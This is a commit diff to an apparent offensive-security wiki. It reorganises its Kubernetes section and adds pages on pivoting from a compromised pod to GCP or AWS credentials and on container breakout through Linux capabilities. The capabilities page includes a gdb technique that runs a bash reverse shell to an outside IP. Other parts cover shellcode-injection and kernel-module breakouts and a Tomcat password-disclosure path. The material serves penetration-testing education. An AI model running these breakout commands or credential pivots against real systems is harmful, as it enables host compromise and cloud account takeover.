GitBook: [#2951] No subject

SUMMARY.md

@@ -215,19 +215,6 @@
   * [Print Job Retention](pentesting/pentesting-printers/print-job-retention.md)
   * [Scanner and Fax](pentesting/pentesting-printers/scanner-and-fax.md)
 * [Pentesting SAP](pentesting/pentesting-sap.md)
-* [Pentesting Kubernetes](pentesting/pentesting-kubernetes/README.md)
-  * [Kubernetes Enumeration](pentesting/pentesting-kubernetes/enumeration-from-a-pod.md)
-  * [Abusing Roles/ClusterRoles](pentesting/pentesting-kubernetes/hardening-roles-clusterroles/README.md)
-    * [K8s Roles Abuse Lab](pentesting/pentesting-kubernetes/hardening-roles-clusterroles/k8s-roles-abuse-lab.md)
-  * [Pentesting Kubernetes Services](pentesting/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md)
-  * [Kubernetes Role-Based Access Control (RBAC)](pentesting/pentesting-kubernetes/kubernetes-role-based-access-control-rbac.md)
-  * [Attacking Kubernetes from inside a Pod](pentesting/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod.md)
-  * [Kubernetes Basics](pentesting/pentesting-kubernetes/kubernetes-basics.md)
-  * [Exposing Services in Kubernetes](pentesting/pentesting-kubernetes/exposing-services-in-kubernetes.md)
-  * [Kubernetes Hardening](pentesting/pentesting-kubernetes/kubernetes-hardening/README.md)
-    * [Monitoring with Falco](pentesting/pentesting-kubernetes/kubernetes-hardening/monitoring-with-falco.md)
-    * [Kubernetes SecurityContext(s)](pentesting/pentesting-kubernetes/kubernetes-hardening/kubernetes-securitycontext-s.md)
-    * [Kubernetes NetworkPolicies](pentesting/pentesting-kubernetes/kubernetes-hardening/kubernetes-networkpolicies.md)
 * [7/tcp/udp - Pentesting Echo](pentesting/7-tcp-udp-pentesting-echo.md)
 * [21 - Pentesting FTP](pentesting/pentesting-ftp/README.md)
   * [FTP Bounce attack - Scan](pentesting/pentesting-ftp/ftp-bounce-attack.md)
@@ -504,8 +491,6 @@
 
 ## Cloud Security
 
-* [Cloud Security Review](cloud-security/cloud-security-review.md)
-* [AWS Security](cloud-security/aws-security.md)
 * [GCP Security](cloud-security/gcp-security/README.md)
   * [GCP - Local Privilege Escalation / SSH Pivoting](cloud-security/gcp-security/gcp-local-privilege-escalation-ssh-pivoting.md)
   * [GCP - IAM Escalation](cloud-security/gcp-security/gcp-iam-escalation.md)
@@ -520,6 +505,22 @@
   * [GCP - Buckets Enumeration](cloud-security/gcp-security/gcp-buckets-enumeration.md)
 * [Github Security](cloud-security/github-security/README.md)
   * [Basic Github Information](cloud-security/github-security/basic-github-information.md)
+* [Kubernetes Security](cloud-security/pentesting-kubernetes/README.md)
+  * [Kubernetes Enumeration](cloud-security/pentesting-kubernetes/enumeration-from-a-pod.md)
+  * [Abusing Roles/ClusterRoles](cloud-security/pentesting-kubernetes/hardening-roles-clusterroles/README.md)
+    * [K8s Roles Abuse Lab](cloud-security/pentesting-kubernetes/hardening-roles-clusterroles/k8s-roles-abuse-lab.md)
+  * [Pentesting Kubernetes Services](cloud-security/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md)
+  * [Kubernetes Role-Based Access Control (RBAC)](cloud-security/pentesting-kubernetes/kubernetes-role-based-access-control-rbac.md)
+  * [Attacking Kubernetes from inside a Pod](cloud-security/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod.md)
+  * [Kubernetes Basics](cloud-security/pentesting-kubernetes/kubernetes-basics.md)
+  * [Exposing Services in Kubernetes](cloud-security/pentesting-kubernetes/exposing-services-in-kubernetes.md)
+  * [Kubernetes Hardening](cloud-security/pentesting-kubernetes/kubernetes-hardening/README.md)
+    * [Monitoring with Falco](cloud-security/pentesting-kubernetes/kubernetes-hardening/monitoring-with-falco.md)
+    * [Kubernetes SecurityContext(s)](cloud-security/pentesting-kubernetes/kubernetes-hardening/kubernetes-securitycontext-s.md)
+    * [Kubernetes NetworkPolicies](cloud-security/pentesting-kubernetes/kubernetes-hardening/kubernetes-networkpolicies.md)
+  * [Kubernetes Access to other Clouds](cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md)
+* [Cloud Security Review](cloud-security/cloud-security-review.md)
+* [AWS Security](cloud-security/aws-security.md)
 
 ## A.I. Exploiting
 

cloud-security/pentesting-kubernetes/README.md

@@ -1,4 +1,4 @@
-# Pentesting Kubernetes
+# Kubernetes Security
 
 ## Kubernetes Basics
 
@@ -48,6 +48,14 @@ Another important details about enumeration and Kubernetes permissions abuse is
 [hardening-roles-clusterroles](hardening-roles-clusterroles/)
 {% endcontent-ref %}
 
+### From Kubernetes to the Cloud
+
+If you have compromised a K8s account or a pod, you might be able able to move to other clouds. This is because in clouds like AWS or GCP is possible to **give a K8s SA permissions over the cloud**.
+
+{% content-ref url="kubernetes-access-to-other-clouds.md" %}
+[kubernetes-access-to-other-clouds.md](kubernetes-access-to-other-clouds.md)
+{% endcontent-ref %}
+
 ## Labs to practice and learn
 
 * [https://securekubernetes.com/](https://securekubernetes.com)

cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md

@@ -0,0 +1,118 @@
+# Kubernetes Access to other Clouds
+
+## GCP
+
+If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that:
+
+### Mounting GCP-SA keys as secret
+
+A common way to give **access to a kubernetes application to GCP** is to:
+
+* Create a GCP Service Account
+* Bind on it the desired permissions
+* Download a json key of the created SA
+* Mount it as a secret inside the pod 
+* Set the GOOGLE\_APPLICATION\_CREDENTIALS environment variable pointing to the path where the json is.
+
+{% hint style="warning" %}
+Therefore, as an **attacker**, if you compromise a container inside a pod, you should check for that **env** **variable** and **json** **files** with GCP credentials.
+{% endhint %}
+
+### GKE Workload Identity
+
+With Workload Identity, we can configure a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) to act as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods running with the Kubernetes service account will automatically authenticate as the Google service account when accessing Google Cloud APIs.
+
+The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.
+
+The **second steps** is to relate a K8s SA (KSA) with the GCP SA (GSA):
+
+* Create the KSA (normally in the **annotations appear the email of the GSA**) and use it in the pod you would like to:
+
+```yaml
+# serviceAccount.yaml
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+    annotations:    
+        iam.gke.io/gcp-service-account: $GSA-NAME@PROJECT-ID.iam.gserviceaccount.com
+    name: $APPNAME
+    namespace: $NAMESPACE
+```
+
+* Create the KSA - GSA Binding:
+
+```bash
+gcloud iam service-accounts add-iam-policy-binding \
+  --role roles/iam.workloadIdentityUser \
+  --member "serviceAccount:PROJECT-ID.svc.id.goog[$NAMESPACE/$KSA-NAME]" \
+  $GSA-NAME@PROJECT-ID.iam.gserviceaccount.com
+```
+
+Note how you are creating a binding and in the **member field you can find the namespace and KSA name**.
+
+{% hint style="warning" %}
+As an attacker inside K8s you should **search for SAs** with the **`iam.gke.io/gcp-service-account` annotation** as that indicates that the SA can access something in GCP. Another option would be to try to abuse each KSA in the cluster and check if it has access.\
+From GCP is always interesting to enumerate the bindings and know **which access are you giving to SAs inside Kubernetes**.
+{% endhint %}
+
+This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:
+
+```bash
+for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
+    for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
+        echo "Pod: $ns/$pod"
+        kubectl get pods -n "$ns" -o yaml | grep "iam.gke.io/gcp-service-account"
+        echo ""
+        echo ""
+    done
+done
+```
+
+## AWS
+
+### &#x20;Workflow of IAM role for Service Accounts:  <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
+
+![](https://blogs.halodoc.io/content/images/2021/03/Group\_s3.png)
+
+1. When you launch an application on kubernetes with `kubectl apply -f application-job.yaml`, the yaml manifest is submitted to the API server with the Amazon EKS Pod Identity webhook configured.
+2. Kubernetes uses the service account set via serviceAccountName
+3. Since the **service account has the annotation passed "eks.amazonaws.com/role-arn"** in `serviceaccount.yaml` the webhook injects the necessary environment variables (**AWS\_ROLE\_ARN** and **AWS\_WEB\_IDENTITY\_TOKEN**) and sets up aws-iam-token projected volumes.
+4. When application calls out to s3 to do any s3 operations the AWS SDK we use in the application code base performs STS **assume role** with web identity performs assume role that has s3 permissions attached. It receives temporary credentials that it uses to complete the S3 operation.
+
+(You can find an example of this configuration [here](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/))
+
+Just like with GCP an **annotation** is needed to relate the KSA with the IAM role:
+
+```yaml
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  annotations:
+    eks.amazonaws.com/role-arn: arn:aws-cn:iam::ACCOUNT_ID:role/IAM_ROLE_NAME
+```
+
+{% hint style="warning" %}
+As an attacker, if you can enumerate a K8s cluster, check for **pods with that annotation** as you could manage to **escalate to AWS**.
+
+Moreover, if you are inside a pod, check for env variables like **AWS\_ROLE\_ARN** and **AWS\_WEB\_IDENTITY\_TOKEN.**
+{% endhint %}
+
+This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:
+
+```bash
+for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
+    for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
+        echo "Pod: $ns/$pod"
+        kubectl get pod "$pod" -n "$ns" -o yaml | grep "eks.amazonaws.com/role-arn"
+        echo ""
+        echo ""
+    done
+done
+```
+
+
+
+## References
+
+* [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
+* [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)

cloud-security/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md

@@ -108,8 +108,8 @@ helm --host tiller-deploy.kube-system:44134 version
 
 You could abuse this service to escalate privileges inside Kubernetes:
 
-{% content-ref url="../44134-pentesting-tiller-helm.md" %}
-[44134-pentesting-tiller-helm.md](../44134-pentesting-tiller-helm.md)
+{% content-ref url="../../pentesting/44134-pentesting-tiller-helm.md" %}
+[44134-pentesting-tiller-helm.md](../../pentesting/44134-pentesting-tiller-helm.md)
 {% endcontent-ref %}
 
 ### cAdvisor

linux-unix/privilege-escalation/README.md

@@ -621,6 +621,12 @@ Now, you can execute commands on the container from this `socat` connection.
 
 Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../pentesting/2375-pentesting-docker.md#compromising).
 
+Check **more ways to break out from docker or abuse i to escalate privileges** in:
+
+{% content-ref url="docker-breakout/" %}
+[docker-breakout](docker-breakout/)
+{% endcontent-ref %}
+
 ### Containerd (ctr) privilege escalation
 
 If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**:

linux-unix/privilege-escalation/docker-breakout/namespaces.md

@@ -195,6 +195,11 @@ smakam14@jungle1:/usr$ cat /proc/8955/uid_map
 As we can see above, userid 0(root) in container 1 is mapped to userid 231072 in host machine.\
 In the current Docker user namespace implementation, UID and GID mapping happens at Docker daemon level. There is work ongoing to allow the mappings to be done at Container level so that multi-tenant support is possible.
 
+### CGroup Namespace
+
+Each cgroup namespace has its **own set of cgroup root directories**. These root directories are the base points for the relative locations displayed in the corresponding records in the `/proc/[pid]/cgroup` file. When a process creates a new cgroup namespace using clone(2) or unshare(2) with the CLONE\_NEWCGROUP flag, its current cgroups directories become the cgroup root directories of the new namespace. (This applies both for the cgroups version 1 hierarchies and the cgroups version 2 unified hierarchy.)
+
 ## References
 
 * [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
+* [https://man7.org/linux/man-pages/man7/cgroup\_namespaces.7.html](https://man7.org/linux/man-pages/man7/cgroup\_namespaces.7.html)

linux-unix/privilege-escalation/linux-capabilities.md

@@ -278,6 +278,10 @@ capsh --print
 Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
 ```
 
+{% hint style="danger" %}
+You can **only add capabilities that are present** in both the permitted and the inheritable sets.
+{% endhint %}
+
 ### Capability-aware/Capability-dumb binaries
 
 The **capability-aware binaries won't use the new capabilities** given by the environment, however the **capability dumb binaries will us**e them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries.
@@ -367,7 +371,7 @@ then **that binary will run as root**.
 
 ### CAP\_SYS\_ADMIN
 
-**This means that you can** **mount/umount filesystems.**
+****[**CAP\_SYS\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) is largely a catchall capability, it can easily lead to additional capabilities or full root (typically access to all capabilities). `CAP_SYS_ADMIN` is required to perform a range of **administrative operations**, which is difficult to drop from containers if privileged operations are performed within the container. Retaining this capability is often necessary for containers which mimic entire systems versus individual application containers which can be more restrictive. Among other things this allows to **mount devices** or abuse **release\_agent** to escape from the container.
 
 #### Example with binary
 
@@ -457,7 +461,9 @@ ssh john@172.17.0.1 -p 2222
 
 ### CAP\_SYS\_PTRACE
 
-**This means that you can escape the container by injecting a shellcode inside some process running inside the host.**
+**This means that you can escape the container by injecting a shellcode inside some process running inside the host.** To access processes running inside the host the container needs to be run at least with **`--pid=host`**.
+
+****[**CAP\_SYS\_PTRACE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows to use `ptrace(2)` and recently introduced cross memory attach system calls such as `process_vm_readv(2)` and `process_vm_writev(2)`. If this capability is granted and the `ptrace(2)` system call itself is not blocked by a seccomp filter, this will allow an attacker to bypass other seccomp restrictions, see [PoC for bypassing seccomp if ptrace is allowed](https://gist.github.com/thejh/8346f47e359adecd1d53) or the **following PoC**:
 
 #### Example with binary
 
@@ -553,7 +559,7 @@ print("Final Instruction Pointer: " + hex(registers.rip))
 libc.ptrace(PTRACE_DETACH, pid, None, None)
 ```
 
-#### Example with environment (Docker breakout)
+#### Example with environment (Docker breakout) - Shellcode Injection
 
 You can check the enabled capabilities inside the docker container using:
 
@@ -578,8 +584,22 @@ List **processes** running in the **host** `ps -eaf`
 4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject`
 5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600`
 
+#### Example with environment (Docker breakout) - Gdb Abuse
+
+If **GDB** is installed (or you can install it with `apk add gdb` or `apt install gdb` for example) you can **debug a process from the host** and make it call the `system` function. (This technique also requires the capability `SYS_ADMIN`)**.**
+
+```bash
+gdb -p 1234
+(gdb) call (void)system("ls")
+(gdb) call (void)system("sleep 5")
+(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")
+```
+
+You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell).
+
 ### CAP\_SYS\_MODULE
 
+[**CAP\_SYS\_MODULE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows the process to load and unload arbitrary kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls). This could lead to trivial privilege escalation and ring-0 compromise. The kernel can be modified at will, subverting all system security, Linux Security Modules, and container systems.\
 **This means that you can** **insert/remove kernel modules in/from the kernel of the host machine.**
 
 #### Example with binary
@@ -709,8 +729,11 @@ insmod reverse-shell.ko #Launch the reverse shell
 
 **The code of this technique was copied from the laboratory of "Abusing SYS\_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
 
+Another example of this technique can be found in [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host)
+
 ### CAP\_DAC\_READ\_SEARCH
 
+[**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows a process to **bypass file read, and directory read and execute permissions**. While this was designed to be used for searching or reading files, it also grants the process permission to invoke `open_by_handle_at(2)`. Any process with the capability `CAP_DAC_READ_SEARCH` can use `open_by_handle_at(2)` to gain access to any file, even files outside their mount namespace. The handle passed into `open_by_handle_at(2)` is intended to be an opaque identifier retrieved using `name_to_handle_at(2)`. However, this handle contains sensitive and tamperable information, such as inode numbers. This was first shown to be an issue in Docker containers by Sebastian Krahmer with [shocker](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) exploit.\
 **This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.**
 
 #### Example with binary
@@ -1239,11 +1262,48 @@ python setcapability.py /usr/bin/python2.7
 Note that if you set a new capability to the binary with CAP\_SETFCAP, you will lose this cap.
 {% endhint %}
 
-Once you have [SETUID capability](linux-capabilities.md#cap\_setuid) you can go to it's section to see how to escalate privileges.
+Once you have [SETUID capability](linux-capabilities.md#cap\_setuid) you can go to its section to see how to escalate privileges.
 
 #### Example with environment (Docker breakout)
 
+By default the capability **CAP\_SETFCAP is given to the proccess inside the container in Docker**. You can check that doing something like:
 
+```bash
+cat /proc/`pidof bash`/status | grep Cap
+CapInh: 00000000a80425fb
+CapPrm: 00000000a80425fb
+CapEff: 00000000a80425fb
+CapBnd: 00000000a80425fb
+CapAmb: 0000000000000000
+                                                                                                                     
+apsh --decode=00000000a80425fb         
+0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
+```
+
+This capability allow to **give any other capability to binaries**, so we could think about **escaping** from the container **abusing any of the other capability breakouts** mentioned in this page.\
+However, if you try to give for example the capabilities CAP\_SYS\_ADMIN and CAP\_SYS\_PTRACE to the gdb binary, you will find that you can give them, but the **binary won’t be able to execute after this**:
+
+```bash
+getcap /usr/bin/gdb
+/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip
+
+setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
+
+/usr/bin/gdb
+bash: /usr/bin/gdb: Operation not permitted
+```
+
+After investigating I read this: _Permitted: This is a **limiting superset for the effective capabilities** that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that **does not have the CAP\_SETPCAP** capability in its effective set._\
+It looks like the Permitted capabilities limit the ones that can be used.\
+However, Docker also grants the **CAP\_SETPCAP** by default, so you might be able to **set new capabilities inside the inheritables ones**.\
+However, in the documentation of this cap: _CAP\_SETPCAP : \[…] **add any capability from the calling thread’s bounding** set to its inheritable set_.\
+It looks like we can only add to the inheritable set capabilities from the bounding set. Which means that **we cannot put new capabilities like CAP\_SYS\_ADMIN or CAP\_SYS\_PTRACE in the inherit set to escalate privileges**.
+
+### CAP\_SYS\_RAWIO
+
+****[**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) provides a number of sensitive operations including access to `/dev/mem`, `/dev/kmem` or `/proc/kcore`, modify `mmap_min_addr`, access `ioperm(2)` and `iopl(2)` system calls, and various disk commands. The `FIBMAP ioctl(2)` is also enabled via this capability, which has caused issues in the [past](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). As per the man page, this also allows the holder to descriptively `perform a range of device-specific operations on other devices`.
+
+This can be useful for **privilege escalation** and **Docker breakout.**
 
 ### CAP\_KILL
 
@@ -1295,6 +1355,8 @@ s.connect(('10.10.10.10',500))
 
 ### CAP\_NET\_RAW
 
+[**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows a process to be able to **create RAW and PACKET socket types** for the available network namespaces. This allows arbitrary packet generation and transmission through the exposed network interfaces. In many cases this interface will be a virtual Ethernet device which may allow for a malicious or **compromised container** to **spoof** **packets** at various network layers. A malicious process or compromised container with this capability may inject into upstream bridge, exploit routing between containers, bypass network access controls, and otherwise tamper with host networking if a firewall is not in place to limit the packet types and contents. Finally, this capability allows the process to bind to any address within the available namespaces. This capability is often retained by privileged containers to allow ping to function by using RAW sockets to create ICMP requests from a container.
+
 **This means that it's possible to sniff traffic.** You cannot escalate privileges directly with this capability.
 
 #### Example with binary
@@ -1358,7 +1420,7 @@ while True:
 
 ### CAP\_NET\_ADMIN + CAP\_NET\_RAW
 
-**This means that it's possible modify firewall rules.** You cannot escalate privileges directly with this capability.
+[**CAP\_NET\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) **** allows the capability holder to **modify the exposed network namespaces' firewall, routing tables, socket permissions**, network interface configuration and other related settings on exposed network interfaces. This also provides the ability to **enable promiscuous mode** for the attached network interfaces and potentially sniff across namespaces.
 
 #### Example with binary
 
@@ -1416,6 +1478,27 @@ sudo chattr -i file.txt
 ```
 {% endhint %}
 
+### CAP\_SYS\_CHROOT
+
+[**CAP\_SYS\_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) **** permits the use of the `chroot(2)` system call. This may allow escaping of any `chroot(2)` environment, using known weaknesses and escapes:
+
+* [How to break out from various chroot solutions](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf)
+* [chw00t: chroot escape tool](https://github.com/earthquake/chw00t/)
+
+### CAP\_SYS\_BOOT
+
+[**CAP\_SYS\_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows to use the `reboot(2)` syscall. It also allows for executing an arbitrary **reboot command** via `LINUX_REBOOT_CMD_RESTART2`, implemented for some specific hardware platforms.
+
+This capability also permits use of the `kexec_load(2)` system call, which loads a new crash kernel and as of Linux 3.17, the `kexec_file_load(2)` which also will load signed kernels.
+
+### CAP\_SYSLOG
+
+[CAP\_SYSLOG](https://man7.org/linux/man-pages/man7/capabilities.7.html) was finally forked in Linux 2.6.37 from the `CAP_SYS_ADMIN` catchall, this capability allows the process to use the `syslog(2)` system call. This also allows the process to view kernel addresses exposed via `/proc` and other interfaces when `/proc/sys/kernel/kptr_restrict` is set to 1.
+
+The `kptr_restrict` sysctl setting was introduced in 2.6.38, and determines if kernel addresses are exposed. This defaults to zero (exposing kernel addresses) since 2.6.39 within the vanilla kernel, although many distributions correctly set the value to 1 (hide from everyone accept uid 0) or 2 (always hide).
+
+In addition, this capability also allows the process to view `dmesg` output, if the `dmesg_restrict` setting is 1. Finally, the `CAP_SYS_ADMIN` capability is still permitted to perform `syslog` operations itself for historical reasons.
+
 ## References
 
 **Most of these examples were taken from some labs of** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), so if you want to practice this privesc techniques I recommend these labs.
@@ -1426,3 +1509,4 @@ sudo chattr -i file.txt
 * [https://www.schutzwerk.com/en/43/posts/linux\_container\_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.](https://www.schutzwerk.com/en/43/posts/linux\_container\_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.)
 * [https://linux-audit.com/linux-capabilities-101/](https://linux-audit.com/linux-capabilities-101/)
 * [https://www.linuxjournal.com/article/5737](https://www.linuxjournal.com/article/5737)
+* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap\_sys\_module](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap\_sys\_module)

pentesting/554-8554-pentesting-rtsp.md

@@ -23,7 +23,7 @@ First and foremost RTSP is an HTTP like protocol. It has different structure and
 
 RTSP can be accessed unauthenticated (common in off-the-shelf devices) or authenticated. Authenticated access mirrors HTTP in that you have Basic and Digest authentication, both nearly identical to HTTP. To find out whether your device is authenticated or unauthenticated, simply send a “DESCRIBE” request. A simple DESCRIBE request looks like:
 
-`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\n\r\n`
+`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\n\r`
 
 Note: the additional “\r\n” is required for reliable response. Some systems will accept the single “\r\n” but most won’t.
 
@@ -37,7 +37,7 @@ Basic authentication is the way to go, hopefully the response received indicates
 
 To formulate a Basic authentication element, one simple has to base 64 encode \<username> “:” \<password> and add it to the request. So a new request would look like:
 
-`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n`
+`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r`
 
 Again note the request is terminated with the double “\r\n”.
 
@@ -55,7 +55,7 @@ print data
 
 Voila! You have access.
 
-**From:** [**http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/**](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)****
+**From:** [**http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/**](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)\*\*\*\*
 
 ## Enumeration
 
@@ -73,7 +73,7 @@ To bruteforce: [https://github.com/Tek-Security-Group/rtsp\_authgrinder](https:/
 
 **Cameradar**
 
-Cameradar allows you to:&#x20;
+Cameradar allows you to:
 
 * Detect open RTSP hosts on any accessible target
 * Get their public info (hostname, port, camera model, etc.)
@@ -84,4 +84,3 @@ Cameradar allows you to:&#x20;
 * Print a summary of all the informations Cameradar could get
 
 [https://github.com/Ullaakut/cameradar](https://github.com/Ullaakut/cameradar)
-

pentesting/pentesting-web/tomcat.md

@@ -43,6 +43,10 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
 
 ## Vulns
 
+### Password backtrace disclosure
+
+Try to access `/auth.jsp` and if you are very lucky it **might disclose the password in a backtrace**.
+
 ### Double URL encode
 
 A well-known vulnerability _to_ access the application manager \_\_ is mod\_jk in CVE-2007-1860, that allows **Double URL encode path traversal.**